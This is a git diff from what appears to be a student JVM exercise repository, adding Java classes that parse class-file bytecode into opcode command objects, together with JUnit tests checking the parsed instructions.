+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+        codes = codes.toUpperCase();
+        if (codes == "" || codes == null) {
+            throw new RuntimeException("codes为空！");
+        }
+        List<ByteCodeCommand> cmds = new LinkedList<ByteCodeCommand>();
+
+        CommandIterator iter = new CommandIterator(codes);
+        while (iter.hasNext()) {
+            String opCode = iter.next2CharAsString();
+            if (opCode.equals(new_object)) {
+                NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile,opCode);
+                newObjectCmd.setOprand1(iter.next2CharAsInt());
+                newObjectCmd.setOprand2(iter.next2CharAsInt());
+                cmds.add(newObjectCmd);
+            } else if (opCode.equals(dup)||opCode.equals(astore_1)||opCode.equals(aload_0)||opCode.equals(aload_1)||opCode.equals(aload_2)||opCode.equals(voidreturn)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, opCode);
+                cmds.add(noOperandCmd);
+
+            }else if (opCode.equals(ldc)){
+                LdcCmd cmd = new LdcCmd(clzFile, opCode);
+                cmd.setOperand(iter.next2CharAsInt());
+                cmds.add(cmd);
+            }else if (opCode.equals(bipush)){
+                BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+                cmd.setOperand(iter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equals(invokespecial)) {
+                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+                cmd.setOprand1(iter.next2CharAsInt());
+                cmd.setOprand2(iter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equals(invokevirtual)) {
+                InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+                cmd.setOprand1(iter.next2CharAsInt());
+                cmd.setOprand2(iter.next2CharAsInt());
+                cmds.add(cmd);
+            }else{
+                throw new RuntimeException(opCode + "未进行判断！");
+            }
+        }
+
+        calcuateOffset(cmds);
+        ByteCodeCommand[] cmd = (ByteCodeCommand[])cmds.toArray();
+        return cmd;
+    }
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String codes) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int next2CharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16).intValue();
+        }
+
+    }
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 5803e72b18..c4ab5853ab 100644
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -2,6 +2,10 @@
 
 import java.util.List;
 
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import org.junit.After;
 import  org.junit.Assert;
 import org.junit.Before;
@@ -29,149 +33,149 @@ public class ClassFileloaderTest {
 	
 	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week6_jvm\\out\\production\\week6_jvm";
 	static String path2 = "C:\temp";
-	
+
 	static ClassFile clzFile = null;
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 		String className = "com.coderising.jvm.test.EmployeeV1";
-		
+
 		clzFile = loader.loadClass(className);
-		clzFile.print();
+
 	}
-	
-	
+
+
 	@Before
-	public void setUp() throws Exception {		 
+	public void setUp() throws Exception {
 	}
 
 	@After
 	public void tearDown() throws Exception {
 	}
-	
+
 	@Test
-	public void testClassPath(){		
-		
+	public void testClassPath(){
+
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 		loader.addClassPath(path2);
-		
+
 		String clzPath = loader.getClassPath();
-		
+
 		Assert.assertEquals(path1+";"+path2,clzPath);
-		
+
 	}
-	
+
 	@Test
-	public void testClassFileLength() {		
-		
+	public void testClassFileLength() {
+
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		
+
 		String className = "com.coderising.jvm.test.EmployeeV1";
-		
+
 		byte[] byteCodes = loader.readBinaryCode(className);
-		
+
 		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
 		Assert.assertEquals(1056, byteCodes.length);
-		
+
 	}
-	
-	
-    @Test	
+
+
+	@Test
 	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
+		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 		String className = "com.coderising.jvm.test.EmployeeV1";
 		byte[] byteCodes = loader.readBinaryCode(className);
 		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
+
+
 		String acctualValue = this.byteToHexString(codes);
-		
+
 		Assert.assertEquals("cafebabe", acctualValue);
 	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
+
+
+
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+	/**
+	 * ----------------------------------------------------------------------
+	 */
+
+
+	@Test
+	public void testVersion(){
+
 		Assert.assertEquals(0, clzFile.getMinorVersion());
 		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
+
+	}
+
+	@Test
+	public void testConstantPool(){
+
 
 		ConstantPool pool = clzFile.getConstantPool();
-		
+
 		Assert.assertEquals(53, pool.getSize());
-	
+
 		{
 			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
 			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
+
 			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
 			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
 		}
 		{
 			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
 			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
+
 			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
 			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
 		}
 		{
 			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
 			Assert.assertEquals("name", utf8Info.getValue());
-			
+
 			utf8Info = (UTF8Info) pool.getConstantInfo(6);
 			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
+
 			utf8Info = (UTF8Info) pool.getConstantInfo(7);
 			Assert.assertEquals("age", utf8Info.getValue());
-			
+
 			utf8Info = (UTF8Info) pool.getConstantInfo(8);
 			Assert.assertEquals("I", utf8Info.getValue());
-			
+
 			utf8Info = (UTF8Info) pool.getConstantInfo(9);
 			Assert.assertEquals("<init>", utf8Info.getValue());
-			
+
 			utf8Info = (UTF8Info) pool.getConstantInfo(10);
 			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
+
 			utf8Info = (UTF8Info) pool.getConstantInfo(11);
 			Assert.assertEquals("Code", utf8Info.getValue());
 		}
-		
+
 		{
 			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
 			Assert.assertEquals(3, methodRef.getClassInfoIndex());
 			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
 		}
-		
+
 		{
 			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
 			Assert.assertEquals(9, nameAndType.getIndex1());
@@ -183,95 +187,168 @@ public void testConstantPool(){
 			Assert.assertEquals(1, methodRef.getClassInfoIndex());
 			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
 		}
-		
+
 		{
 			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
 			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
 		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+	}
+	@Test
+	public void testClassIndex(){
+
+		ClassIndex clzIndex = clzFile.getClzIndex();
+		ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+		ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+	}
+
+	/**
+	 * 下面是第三次JVM课应实现的测试用例
+	 */
+	@Test
+	public void testReadFields(){
+
+		List<Field> fields = clzFile.getFields();
+		Assert.assertEquals(2, fields.size());
+		{
+			Field f = fields.get(0);
+			Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+		}
+		{
+			Field f = fields.get(1);
+			Assert.assertEquals("age:I", f.toString());
+		}
+	}
+	@Test
+	public void testMethods(){
+
+		List<Method> methods = clzFile.getMethods();
+		ConstantPool pool = clzFile.getConstantPool();
+
+		{
+			Method m = methods.get(0);
+			assertMethodEquals(pool,m,
+					"<init>",
+					"(Ljava/lang/String;I)V",
+					"2ab7000c2a2bb5000f2a1cb50011b1");
+
+		}
+		{
+			Method m = methods.get(1);
+			assertMethodEquals(pool,m,
+					"setName",
+					"(Ljava/lang/String;)V",
+					"2a2bb5000fb1");
+
+		}
+		{
+			Method m = methods.get(2);
+			assertMethodEquals(pool,m,
+					"setAge",
+					"(I)V",
+					"2a1bb50011b1");
+		}
+		{
+			Method m = methods.get(3);
+			assertMethodEquals(pool,m,
+					"sayHello",
+					"()V",
+					"b2001c1222b60024b1");
+
+		}
+		{
+			Method m = methods.get(4);
+			assertMethodEquals(pool,m,
+					"main",
+					"([Ljava/lang/String;)V",
+					"bb000159122b101db7002d4c2bb6002fb1");
+		}
+	}
+
+	private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+		String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
 		String code = m.getCodeAttr().getCode();
 		Assert.assertEquals(expectedName, methodName);
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
-    }
-   
+	}
+
+	@Test
+	public void testByteCodeCommand(){
+		{
+			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+			ByteCodeCommand[] cmds = initMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+			assertOpCodeEquals("4: aload_0", cmds[2]);
+			assertOpCodeEquals("5: aload_1", cmds[3]);
+			assertOpCodeEquals("6: putfield #15", cmds[4]);
+			assertOpCodeEquals("9: aload_0", cmds[5]);
+			assertOpCodeEquals("10: iload_2", cmds[6]);
+			assertOpCodeEquals("11: putfield #17", cmds[7]);
+			assertOpCodeEquals("14: return", cmds[8]);
+		}
+
+		{
+			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+			ByteCodeCommand [] cmds = setNameMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: aload_1", cmds[1]);
+			assertOpCodeEquals("2: putfield #15", cmds[2]);
+			assertOpCodeEquals("5: return", cmds[3]);
+
+		}
+
+		{
+			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+
+			assertOpCodeEquals("0: getstatic #28", cmds[0]);
+			assertOpCodeEquals("3: ldc #34", cmds[1]);
+			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+			assertOpCodeEquals("8: return", cmds[3]);
+
+		}
+
+		{
+			Method mainMethod = this.clzFile.getMainMethod();
+
+			ByteCodeCommand [] cmds = mainMethod.getCmds();
+
+			assertOpCodeEquals("0: new #1", cmds[0]);
+			assertOpCodeEquals("3: dup", cmds[1]);
+			assertOpCodeEquals("4: ldc #43", cmds[2]);
+			assertOpCodeEquals("6: bipush 29", cmds[3]);
+			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+			assertOpCodeEquals("11: astore_1", cmds[5]);
+			assertOpCodeEquals("12: aload_1", cmds[6]);
+			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+			assertOpCodeEquals("16: return", cmds[8]);
+		}
+
+	}
+
+	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+
+		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+
+		if(cmd instanceof OneOperandCmd){
+			if(cmd instanceof BiPushCmd){
+				acctual += " " + ((OneOperandCmd)cmd).getOperand();
+			} else{
+				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+			}
+		}
+		if(cmd instanceof TwoOperandCmd){
+			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+		}
+		Assert.assertEquals(expected, acctual);
+	}
 
 }
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..a57a8b5446
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,72 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;
+	}
+
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+
+		return null;
+	}
+
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+
+
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+
+	}
+
+
+
+
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..a31a1ff4d0
--- /dev/null
